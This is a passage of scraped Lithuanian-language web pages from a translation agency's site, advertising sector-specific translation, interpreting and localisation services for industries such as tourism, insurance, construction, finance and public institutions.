žodžiu paslaugų asmeniškai per įvairius susitikimus ar konferencijas, „Skrivanek“ padės jums pasiekti norimą rezultatą. Džiaugiamės, kad mūsų paslaugomis jau naudojasi mažos gamybinės įmonės, strategiškai svarbios gamyklos ir kitos produktus gaminančios įmonės. Kviečiame ir jus naudotis mūsų kalbos sprendimais. Mūsų kalbų ekspertai turi patirties atliekant vertimus gamybos pramonei. Jei reikia didesnių vertimų, galite būti tikri, kad juos gausite per trumpiausią įmanomą laiką, nes naudojame naujausias vertimo technologijas. Kiekvieną projektą koordinuoja patyrę projektų vadovai, kurie organizuoja projektą nuo pradžios iki pabaigos. Nesvarbu, ar jums reikia parengti įvairias verslo sutartis, išversti įmonės interneto svetainę, parengti rinkodaros medžiagą ar techninę dokumentaciją, ar dalyvauti konferencijose, kuriose bendraujama užsienio kalbomis, mūsų tarptautinė vertėjų raštu ir žodžiu komanda yra pasirengusi padėti. MŪSŲ GAMYBOS SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: įvairios spausdintos ir skaitmeninės rinkodaros medžiagos vertimus (pvz. , pardavimų medžiagos, bukletų, produktų informacinių lapelių ir kt. ); instrukcijų ir įrangos aprašymų vertimus; gatavų produktų aprašymų ir etikečių vertimus; techninių aprašymų ir specifikacijų vertimus; naudotojų vadovus, techninius produktų vertimus; sinchroninį arba nuoseklųjį vertimą žodžiu įvairiuose renginiuose, įskaitant konferencijas, seminarus ir verslo susitikimus; kalbų mokymus ir specializuotus seminarus, kurie pagerins jūsų darbuotojų užsienio kalbų ir pristatymo įgūdžius; asistento paslaugas; taip pat kitas jūsų poreikius atitinkančias paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai turizmo pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional Turizmo pramonė auga ir vystosi vis greičiau, o reikiamybė savo pranešimą perduoti kuo galima daugiau kalbų yra aktuali kiekvienam šios pramonės atstovui. Jūs esate turizmo profesionalas, žinantis, kaip geriausiai bendrauti su keliautojais, o mes – kalbų specialistai, kurie išvers jūsų žodžius į daugiau nei 110 kalbų. Ne veltui įvairi turizmo rinkodaros ir reklamos medžiaga laikoma viena labiausiai verčiamų tekstų rūšių pasaulyje. Tačiau svarbu ir šių tekstų kokybė. Ar reikia lokalizuoti viešbučio svetainę? Norite kelionių brošiūros vertimo? Galbūt norite pritaikyti savo restorano valgiaraštį užsienio klientams? Mes galime pasiūlyti ne tik vertimą. „Skrivanek“ kalbų specialistai jau 25 metus teikia aukštos kokybės kalbinius sprendimus turizmo pramonei – mes ne tik verčiame tekstus, bet ir pritaikome juos prie kiekvienos šalies kultūros ypatumų. Galime drąsiai teigti, kad klientai jus tikrai supras. Nesvarbu, ar jums reikia išversti rašytinį tekstą, ar vertėjo žodžiu paslaugų vietoje konferencijose ar tarptautinėse mugėse, „Skrivanek“ komanda padės jums pasirinkti tinkamiausią sprendimą. O jei jūsų darbuotojams reikia patobulinti užsienio kalbų įgūdžius, laukiame jūsų „Skrivanek“ mokymo centre. „Skrivanek Baltic“ vertėjų raštu ir žodžiu komandą sudaro žmonės, turintys ne tik filologinį išsilavinimą, bet ir daug žinių apie istoriją, architektūrą, meną, madą, muziką ir gastronomiją, todėl tikrai galime jums padėti. Svetingumo verslas ir maitinimas, turistų grupių priėmimas, kelionių organizavimas, miestų ir apskričių atstovavimas užsienyje – surasime tinkamiausius specialistus, išmanančius šiuos niuansus, kad žinia būtų perduota pagal jūsų reikalavimus. MŪSŲ TURIZMO SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: reklaminės ir rinkodaros medžiagos (lankstinukų, brošiūrų ir katalogų) vertimą, grafinį dizainą; interneto svetainių vertimus ir lokalizavimą; atostogų katalogų ir maršrutų vertimus; garso gido ir vaizdo failų lokalizavimą; sinchroninį arba nuoseklųjį vertimą žodžiu įvairiuose renginiuose, įskaitant tarptautines muges, didelių turistų grupių priėmimą, seminarus ir konferencijas; specializuotą kalbų mokymą; ir kitas jums reikalingas kalbų paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kalbų sprendimai valstybinėms ir savivaldybių institucijoms: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional Sklandus bendravimas tiek su darbuotojais, tiek su užsienio partneriais ir visuomene yra labai svarbus viešojo sektoriaus įstaigoms. Laiku pateikta ir suprantama informacija leidžia valstybės ir vietos valdžios institucijoms sėkmingiau dirbti. Šiuo atveju jums bus naudinga bendradarbiauti su „Skrivanek“. Per dvidešimt veiklos metų užmezgėme gerą ir ilgalaikį bendradarbiavimą su valstybės institucijomis, tarp mūsų klientų yra kelios Lietuvos Respublikos ministerijos, Valstybės kanceliarija, teismų administracija ir prokuratūra, taip pat kitos valstybinės ir savivaldybių institucijos, kurios taip pat dirba su riboto naudojimo informacija. „Skrivanek“ mokymo centras rengė pareigūnus Latvijos pirmininkavimui Europos Sąjungos Taryboje. Reguliariai ir sėkmingai dalyvaujame kainų apklausose ir viešuosiuose pirkimuose. Kad informacija pasiektų tikslinę auditoriją, ji turi būti tiksli, pateikiama laiku ir įvairiomis kalbomis bei formatais. „Skrivanek“ vertėjai gali atlikti įvairių formatų vertimus, reikalingus valdymo sistemoms, kokybės valdymui, IT sistemoms, bendradarbiavimui ir bendravimui su ES institucijomis. Mūsų kalbų ekspertai taip pat gali padėti pagerinti turizmo plėtrą vietos valdžios institucijose teikdami aukštos kokybės informacinės medžiagos apie įvairias turistų lankomas vietas vertimus ir skatinti regioninį verslumą rengdami medžiagą užsienio investuotojams pritraukti. Galime teikti įvairias vertimo žodžiu paslaugas bendravimui su visuomene. Turėdami didelę patirtį galėsime parengti vertimus, reikalingus kasdienei jūsų įstaigos veiklai, o savo darbuotojų kalbos įgūdžius galėsite patobulinti mūsų Mokymo centre. Jei jums reikia įvertinti potencialių darbuotojų kalbų žinias, tai galite lengvai padaryti naudodamiesi mūsų specialiai sukurta internetine užsienio kalbų mokėjimo vertinimo priemone FOCUS, o mūsų ekspertai gali padėti jums darbo pokalbių metu nustatyti užsienio kalbų mokėjimo lygi. MŪSŲ PASLAUGOS VALSTYBINĖS IR SAVIVALDYBIŲ INSTITUCIJOMS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: interneto svetainių, įvairios informacinės medžiagos ir pristatymų vertimus; FOCUS internetinę užsienio kalbos mokėjimo testavimo priemonę; nuoseklųjį ir sinchroninį vertimą žodžiu įvairiuose renginiuose ir bendraujant su visuomene; įvairaus intensyvumo kalbų kursus visiems kalbos mokėjimo lygiams; sutarčių, įstatymų ir teisinės medžiagos vertimus; kitas jūsų įstaigai reikalingas paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Verčiame beveik bet kokios rūšies ir formato dokumentus. Greitas ir kokybiškas vertimas. Gaukite nemokamą pasiūlymą per 15 minučių! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional AR JUMS REIKIA DOKUMENTŲ VERTIMO, NOTARO PATVIRTINTO VERTIMO AR VERTIMO VIETOJE? SUSISIEKITE SU MUMIS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Nemokama automobilių stovėjimo aikštelėGardi kavaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomisDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsISO sertifikatais patvirtinta kokybės ir konfidencialumo garantija99 % klientų pasiūlymą gauna greičiau nei per 15 minučių SPECIALIZUOTI VERTIMAI Labai svarbu laikytis pramonei būdingos terminijos, todėl mūsų vertėjai turi ne tik filologinį išsilavinimą ir gebėjimą naudotis šiuolaikinėmis technologijomis, bet ir medicinos, teisės, inžinerijos ir kitų specifinių sričių žinių, padedančių pasiekti norimų rezultatų. Sužinoti daugiau BENDRI VERTIMAI Verčiant svarbu ne tik tiksliai išversti žodžius, bet ir perteikti išreikštą mintį į kitą kalbą neprarandant pradinės prasmės. Užtikriname greitą dokumentų vertimo procesą tais atvejais, kai nereikalingos konkrečios pramonės šakos žinios. Susisiekite su mumis NOTARINIS PATVIRTINIMAS Verčiame notaro patvirtintus dokumentų originalus ir kopijas pagal Lietuvos Respublikos įstatymus ir kitus teisės aktus. Mes rengiame vertimus, kurių teisingumą, tikslumą ir atitikimą originalui patvirtina prisiekęs notaras, o prisiekęs vertėjas prisiima visą atsakomybę už vertimo kokybę. Sužinoti daugiau LOKALIZACIJA Jums nebereikės nerimauti, nes mes ne tik atliksime vertimą, bet ir užtikrinsime, kad lokalizuotas produktas ar programinė įranga veiktų tinkamai. Sužinoti daugiau VERTIMO PASLAUGOS Į DAUGIAU KAIP 110 KALBŲ. Anglų kalba Arabų kalba Armėnų kalba Čekų kalba Danų kalba Prancūzų kalba Graikų kalba Gruzinų kalba Hindi kalba Lietuvių kalba Norvegų kalba Estų kalba Italų kalba Rusų kalba Kinų kalba Lenkų kalba Portugalų kalba Rumunų kalba Suomių kalba Ispanų kalba Vengrų kalba Vokiečių kalba Švedų kalba kitos kalbos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Profesionalaus vertėjo žodžiu paslaugos konferencijose, verslo susitikimuose, derybose, teismo posėdžiuose ir kt. Vietiniai ir užsienio vertėjai žodžiu. Susisiekite su mumis! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional NUOSEKLUSIS VERTIMAS Nedideliuose susitikimuose, pavyzdžiui, darbo pietų ar išvykų metu, būtinas nuoseklusis vertimas žodžiu, kai vertėjas išklauso, kas sakoma viena kalba, ir verčia į kitą kalbą. Profesionalus, aiškus ir lengvai suprantamas. Sužinoti daugiau SINCHRONINIS VERTIMAS Jei reikia versti žodžiu dideliam skaičiui žmonių, dažnai keliomis kalbų kombinacijomis vienu metu, dažniausiai naudojamas sinchroninis vertimas – žodžiai iš kabinos verčiami su kelių sekundžių vėlavimu. Sužinoti daugiau KONFERENCIJŲ VERTIMAS ŽODŽIU Konferencijose svarbiausia išversti ne kiekvieną kalbėtojo žodį, o perteikti jo mintis skirtingomis kalbomis kalbantiems žmonėms. Mūsų profesionalūs sinchroninio vertimo vertėjai gali padėti susikalbėti net tarp labai skirtingų kultūrų. Sužinoti daugiau TEISMO POSĖDŽIŲ VERTIMAS ŽODŽIU Teisinė kalba iš esmės yra tiksli, todėl vertimai teisme yra ypač svarbūs! Mūsų vertėjai yra patyrę ir gerai išmano teisinę terminologiją. Jiems padedant procesas vyks sklandžiai. Sužinoti daugiau KITOS VERTIMO ŽODŽIU FORMOS Taip pat teikiame kitas vertimo žodžiu formas – šnabždamąjį vertimą, vertimą telefonu arba „Skype“ / „Zoom“ konferencijų vertimą žodžiu. Jei nerandate pageidaujamo vertimo žodžiu varianto, susisiekite su mūsų projektų vadovais ir mes mielai padėsime! Susisiekite su mumis ASISTENTO PASLAUGOS Jei jums reikia vertėjo žodžiu kasdienėse situacijose, pavyzdžiui, bendraujant su valstybės ar vietos valdžios institucijomis, pildant dokumentus ir t. t. , raginame naudotis vertėjo žodžiu padėjėjo paslaugomis. Susisiekite su mumis ir mes pasiūlysime jums tinkamą sprendimą. Susisiekite su mumis REIKALINGAS VERTIMAS ŽODŽIU AR KONSULTACIJA? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekite su mumis DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Abiejų šių profesijų atstovai laisvai kalba kalbomis, tačiau vertėjas atlieka visų rūšių vertimus, o vertėjas žodžiu teikia nuosekliojo arba sinchroninio vertimo paslaugas. Viskas priklauso nuo konkrečios sutarties ir jūsų reikalavimų. Tik jūs nuspręsite, kiek laiko vertėjas turėtų praleisti su jumis. Taip, labai dažnai savo partneriams net sudarome kalbų komandas – paslaugas teikia tas pats vertėjas raštu ar žodžiu, kuris su klientu dirbo ir anksčiau. Drąsiai pateikite atsiliepimus ir mes mielai suorganizuosime pakartotinį bendradarbiavimą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovą. VERTIMO ŽODŽIU PASLAUGOS IŠ DAUGIAU NEI 40 KALBŲ. Anglų kalba Arabų kalba Armėnų kalba Čekų kalba Danų kalba Prancūzų kalba Graikų kalba Gruzinų kalba Hindi kalba Lietuvių kalba Norvegų kalba Estų kalba Italų kalba Rusų kalba Kinų kalba Lenkų kalba Portugalų kalba Suomių kalba Rumunų kalba Ispanų kalba Vengrų kalba Vokiečių kalba Švedų kalba kitos kalbos RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai draudimo pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Draudimo pramonė yra pasitikėjimo verslas, kuriame sėkmė lydi tik profesionalus. Norint pasiekti norimą rezultatą, reikia partnerio, kuris išmano šios pramonės šakos specifiką ir terminologiją, taip pat įvairias draudimo paslaugas ir gali pasiūlyti tinkamus sprendimus. „Skrivanek“ komandoje dirba vertėjai raštu ir žodžiu, turintys patirties šioje srityje ir gerai išmanantys draudimo sritis – nekilnojamojo turto draudimą, sveikatos ir gyvybės draudimą, perdraudimą, verslo draudimą, automobilių draudimą ir kt. –, todėl mūsų siūlomos paslaugos labiausiai atitinka jūsų poreikius. Nesvarbu, ar jums reikia vertimo raštu, korektūros ar vertimo žodžiu seminaruose ir konferencijose, mes jums padėsime. Mūsų specialistų patirtis užtikrina, kad draudimo srities vertimai atitiks reikalavimus. Vadovaujamės įmonių komunikacijos stiliumi ir pramonės terminologija, kad tekstas būtų ne tik teisingas, bet ir padėtų sukurti norimą jūsų įmonės įvaizdį. Rinkdamiesi „Skrivanek Baltic“ paslaugas galite būti tikri, kad mes prisiimsime atsakomybę už tai, ką padarysime, nesvarbu, ar jums reikia parengti pardavimo medžiagos paketą viena iš užsienio kalbų, ar sudėtingų medicininių intervencijų aprašą. MŪSŲ DRAUDIMO SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: įvairias bendrąsias draudimo sutartis; draudimo sutarties sąlygas ir nuostatas; kolektyvinio draudimo įmonių sutartis; pasiūlymus ir verslo planus; informaciją apie apdraustuosius ir kompensacijos prašymus; draudimo liudijimus; prašymų formas ir standartinius prašymų nagrinėjimo laiškus; sinchroninius arba nuosekliuosius vertimus žodžiu įvairiuose renginiuose, įskaitant verslo susitikimus, seminarus ir konferencijas; įvairią rinkodaros medžiagą, skirtą jūsų paslaugoms reklamuoti ir paaiškinti; ir kitus jums reikalingus sprendimus. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai statybų pramonei: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ - Translation Priorities: Optional Dirbdami statybų pramonėje gerai žinote, kaip svarbu punktualumas ir terminų laikymasis. Esate profesionalai, kurie stengiasi nenukrypti, nes suprantate niuansų svarbą ir norite, kad jūsų partneriai prisiimtų tokią pačią atsakomybę. „Skrivanek“ užtikrina tvarkingus ir techniškai tikslius vertimus raštu ir žodžiu statybos pramonei ir kruopščiai laikosi nustatytų terminų. Mūsų komandoje dirba kalbų specialistai, turintys patirties ir žinių statybų srityje, o patyrę projektų vadovai gali užtikrinti sklandų darbo tempą net ir itin sudėtinguose projektuose. Nesvarbu, ar jums reikia išversti rašytinį tekstą, ar vertimo paslaugų įvairiuose verslo susitikimuose vietoje, „Skrivanek“ kalbų ekspertai kokybiškai išvers visą jums reikalingą medžiagą, įskaitant įmonės leidinius, konkursų nuostatus ir specifikacijas, įvairią rinkodaros medžiagą, techninius projektų dokumentus ir kitus jums reikalingus tekstus. Mūsų kalbos specialistų komandoje dirba ne tik filologinį išsilavinimą, bet ir inžinerijos mokslų srities išsilavinimą ir patirties turintys žmonės. Tai labai svarbu norint teisingai vartoti specifinę terminiją. Pastatų statyba, kelių ir greitkelių tiesimas, įvairūs specializuoti vidaus statybos darbai, elektros instaliacija, architektūrinės paslaugos, taip pat kiti statybos pramonės darbai – rūpinamės detalėmis, nes tik taip galime užtikrinti techniškai tikslų ir visus reikalavimus atitinkantį vertimą. MŪSŲ STATYBŲ SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: techninės dokumentacijos projektus ir atskirus jų skyrius; įvairią skaitmeninę ir spausdintą rinkodaros medžiagą, įskaitant įvairią pardavimų medžiagą, produktų informacinius lapus ir bukletus; brėžinių ir schemų vertimus ir maketavimą, įskaitant DTP paslaugas; statybos sutarčių, reglamentų ir licencijų vertimus; sąmatas ir sertifikatus; vertimus architektūros pramonei; sinchroninius arba nuosekliuosius vertimus žodžiu įvairiuose renginiuose, įskaitant konferencijas, verslo pietus arba vakarienes ir verslo susitikimus; specializuotą kalbų mokymą ; ir kitas jums reikalingas kalbų paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kokybiški sprendimai finansų ir bankininkystės sektoriui: vertimas raštu, vertimas žodžiu, notaro patvirtinimas. Lokalizavimas ir kalbų mokymas. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional Esate finansų sektoriaus profesionalai, todėl jums reikia patikimo partnerio, kuris supranta šios pramonės šakos ypatumus ir gali pateikti kokybiškus sprendimus. „Skrivanek“ finansų sektoriui vertimo paslaugas teikia jau daugiau kaip 25 metus. Nesvarbu, ar jums reikia išversti ar patobulinti rašytinį tekstą, ar vertėjo žodžiu paslaugų asmeniškai per įvairius susitikimus ar konferencijas, ar pritaikyti SEO tekstus, „Skrivanek“ kalbų specialistai užtikrins kokybiškus rezultatus. Bankai, finansų įstaigos, kredito bendrovės ir kitos finansų srityje veikiančios įmonės gali pasitikėti mūsų teikiamų vertimo paslaugų kokybe, nes išmanome šioje srityje vartojamą terminiją, suprantame teisinius niuansus ir prireikus galime pritaikyti tekstus vietos poreikiams. Bendradarbiaudami su „Skrivanek“ galite būti tikri, kad gausite patikrintus sprendimus ir puikų klientų aptarnavimą – mūsų kalbų specialistai turi ilgametę patirtį finansų sektoriuje. Sutaupysime jums laiko ir pinigų, nes naudojame naujoviškas vertimo ir teksto apdorojimo technologijas, be to, užtikriname aukščiausio lygio duomenų saugumą, kad informacija nebūtų nutekinta trečiosioms šalims. Visus darbus koordinuos mūsų patyrę projektų vadovai, kurie puikiai supranta kliento poreikius ir paslaugų teikimo metu bus visiškai integruoti į jūsų komandą. Mūsų tarptautinė patirtis ir gausi vertėjų raštu ir žodžiu komanda sugebės atlikti bet kokį darbą, net ir pačiais griežčiausiais terminais. MŪSŲ FINANSŲ SRITIES VERTIMO PASLAUGOS TEIKIAMOS VISOMIS POPULIARIAUSIOMIS EUROPOS KALBŲ KOMBINACIJOMIS IR APIMA: visų rūšių rinkodaros medžiagą skaitmeniniu ir spausdintiniu formatu, įskaitant pardavimo medžiagą, stiliaus vadovus, produktų informacinius lapus, el. pašto kampanijas ir kt. investicijų ir rinkos ataskaitų, metinių ataskaitų, finansų sektoriaus tyrimų vertimus; įvairių sutarčių, sąlygų ir licencijų vertimus; programinę įrangą finansinių paslaugų teikimui; sinchroninius arba nuosekliuosius vertimus žodžiu įvairiuose renginiuose, įskaitant konferencijas, verslo pietus arba vakarienes ir verslo susitikimus; kalbos mokymą, apimantis specializuotą terminologiją; ir kitas jums reikalingas kalbų paslaugas. IŠKLAUSYSIME JŪSŲ POREIKIUS IR PARENGSIME SPECIALIAI JUMS SKIRTĄ PASIŪLYMĄ. Susisiekite su mumis Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS 